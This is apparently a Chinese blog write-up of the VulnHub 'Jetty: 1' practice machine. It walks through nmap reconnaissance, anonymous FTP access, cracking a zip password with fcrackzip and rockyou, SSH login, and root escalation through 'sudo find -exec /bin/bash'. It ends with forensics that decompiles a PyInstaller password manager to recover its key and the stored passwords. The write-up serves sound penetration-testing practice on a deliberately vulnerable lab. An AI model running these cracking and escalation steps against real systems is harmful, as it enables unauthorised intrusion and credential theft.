基础信息
靶机链接:https://www.vulnhub.com/entry/jetty-1,621/ 难度:简单/中等 发布日期:2020/2/9 目标:获得root特权,而且还获得所有证据来证明用户正在欺诈 描述: Aquarium Life SL公司已与您联系,对他们的其中一台机器进行笔测试。他们怀疑他们的一名雇员一直在欺诈售卖假票。他们希望您闯入他的计算机,提升特权并搜索任何证明这种行为的证据。 解压密码: EsSabad0! 额外的信息: 可疑用户名是Squiddie。 他负责水族馆的门票销售。 启用DHCP时,以太网设置设置为NAT。 您应该在VLAN中找到IP。 机器的想法不仅是获得root特权,而且还获得所有证据来证明用户正在欺诈。 困难:我想说这台机器在获得root特权方面是中等的。如果我们考虑所有步骤来获取证据,很难。
前言
本次靶机使用的VMware Workstation Pro进行搭建运行,将kali与靶机一样使用桥接模式。本次演练使用kali系统按照渗透测试的过程进行操作,从信息收集到提权只需要按部就班就可以了,难点在于取证,因为是第一次接触需要取证的靶机没有思路,看了大佬的操作之后,自己进行复现也有所收获。
一、信息收集
1. 靶机ip
nmap 192.168.1.0/24
使用nmap进行扫描,得到ip地址:192.168.1.106
2.靶机端口与服务
nmap -sV -p- -O -A 192.168.1.106
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 65507/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
3.网站信息收集
访问192.168.1.106
使用dirb爬取网站链接
没有发现可利用的信息
二、漏洞探测与漏洞利用
1.ftp匿名访问
查看之前扫描端口的详细信息
得知可以直接匿名登录ftp
用户:ftp 密码:无(直接回车)
发现存在两个文件使用wget命令将文件下载到kali中
wget -r ftp://192.168.1.106
进入目录查看下载文件,通过README.txt提示知道这个压缩包中保存的是密码文件
通过fcrackzip进行爆破
fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt sshpass.zip
成功爆破
密码:seahorse!
2.ssh远程登录
解压之后获得密码,尝试ssh远程登录,用户名Henry、Michael都不对,查看靶机描述,发现可疑用户名squiddie
进行尝试,登录成功
用户:squiddie
密码:Squ1d4r3Th3B3$t0fTh3W0rLd
三、提权
1.升级成交互式shell
但是对squiddie的权限限制较大不能直接使用该命令升级,只能一步一步进行操作
python -c "import pty;pty.spawn('/bin/bash')"
2.find提权
使用sudo -l 查看该用户可使用的命令
直接使用find命令进行提权
sudo find /home -exec /bin/bash ;
四、证据收集
1、user.txt
在路径、home/squiddie/Desktop下发现use.txt
查看文件是一串md5密文
dd69f649f3e5159ddd10b83b56b2dda2
解密:2004737969
2、root.txt
在/home/microsystems/Desktop目录下发现root.txt
3、proof.txt
在/root/Desktop中发现note.txt和proof.txt
解密得到:836934778
4、系统定时任务
crontab -l
*/2 * * * * /etc/cron.daily/backup
每隔两分钟执行一次/etc/cron.daily/backup文件脚本。参考
查看文件脚本,仅root权限可以执行
文件从/root/Documents/.docs向/var/backups/.docs备份
查看/var/backups/.docs目录,存在很多表格
将文件拷贝到ftp的目录下下载到kali中
在Password_keeper文件夹下发现用来查看密码的小程序,发现查看密码也需要输入密码
表格密码 密文
usage.txt使用说明
要想破解表格密码,需要得到小程序的输入密码,需要将程序反编译,并分析代码
这个程序是用pyinstaller编译的,可以使用pyinstall进行反编译
5、反编译Pyinstall打包的exe
(1)反编译工具:https://github.com/extremecoders-re/pyinstxtractor
python2 ./pyinstxtractor.py ../password_keeper.exe
执行过命令之后会在pyinstxtractor.py同目录下生成一个文件夹
现在的pyc文件还不是源代码,需要继续反编译
(2)反编译pyc文件
链接:https://tool.lu/pyc/
分析源代码
#!/usr/bin/env python # visit http://tool.lu/pyc/ for more information from Cryptodome.Cipher import AES import base64 BS = 16 pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) unpad = lambda s: s[0:-ord(s[-1])] def cipher_message(key, message, iv): message = pad(message) key = base64.b64decode(key) obj = AES.new(key, AES.MODE_CBC, iv) ciphertext = obj.encrypt(message) ciphertext = base64.b64encode(ciphertext) return ciphertext def decipher_message(key, ciphertext, iv): ciphertext = base64.b64decode(ciphertext) key = base64.b64decode(key) obj2 = AES.new(key, AES.MODE_CBC, iv) decipher_text = obj2.decrypt(ciphertext) decipher_text = unpad(decipher_text) return decipher_text def generate_key(ciphertext, tag, key, iv): ciphertext = cipher_message(key, ciphertext, iv) print '' print "Now copy this into your database.txt (It's the free version... pay for an automated tool!)" print '' print 'Tag Password' print tag + ' ' + ciphertext def show_keys(database, key, iv): check_permissions = raw_input('Insert password: ') if base64.b64encode(check_permissions) == key: for i in range(len(database[0])): ciphertext = database[1][i] decipher = decipher_message(key, ciphertext, iv) print ' ' print 'Tag: ' + database[0][i] + ' Password: ' + decipher print ' ' else: print '' print 'Tag: Instagram Password: WRONG ' print 'Tag: Facebook Password: PASSWORD ' print 'Tag: SSH Password: TRY ' print 'Tag: root Password: HARDER! ' print '' def read_database(): database = [ [], []] f = open('database.txt', 'r') for line in f.readlines(): line = line.strip().split() database[0].append(line[0]) database[1].append(line[1]) f.close() return database def main(): print 'Welcome to the best password keeper ever!' print '__ __ _ _ __ ' print ' / /__ __ _| | ___ _ | |/ /___ ___ _ __ ___ _ __ ' print " / / / _ / _` | |/ / | | |_____| ' // _ / _ '_ / _ '__|" print ' V V / __/ (_| | ') if option == '1': print '' print 'Showing content of your secret passwords...' print '' show_keys(database, key, iv) print '' returned = raw_input('Press any button to return to the menu...') continue if option == '2': print '' print '' title = raw_input('Type the name of the application: ') password = raw_input('Type the password(BEWARE OF SHOULDER SURFING!!!): ') generate_key(password, title, key, iv) print '' print '' returned = raw_input('Press any button to return to the menu...') continue if option == '3': loop = False print '' return 'Bye Byeeeeeeeeeeeee' print print print '' print 'WHAT? FAILURE TO COMMUNICATE... Reseting connection...' print '' print '' returned = raw_input('Press any button to return to the menu...') if __name__ == '__main__': print main()
(6)分析代码,得到密码
在运行exe文件时,输入1是查询密码,输入1后会调用show_keys()函数
当输入的密码值正确时if条件成立,显示表格密码
输入的密码是base64(key)
N2FlMjE4ZmYyOTI4ZjZiMg== 解密:7ae218ff2928f6b2
运行.exe查看密码
Tag: instagram Password: S3x1B0y Tag: facebook Password: M4rK1sS0s3X1 Tag: Accountabilty_not_cooked Password: co8oiads13kt Tag: MoneyBalance Password: C5Y0wzGqq4Xw8XGD Tag: Pending_to_erase Password: 1hi2ChHrtkQsUTOc
(7)取证
Accountabilty_not_cooked
AccountabiltyReportMorning-1112018
MoneyBalance
Pending_to_erase
总结
一开始的渗透到提权都是思路清晰,因为之前没有接触过取证在取证的时候不懂,参考了大佬的做法自己复现一遍,加深了印象
参考
https://www.freebuf.com/articles/web/261787.html
请登录后发表评论
注册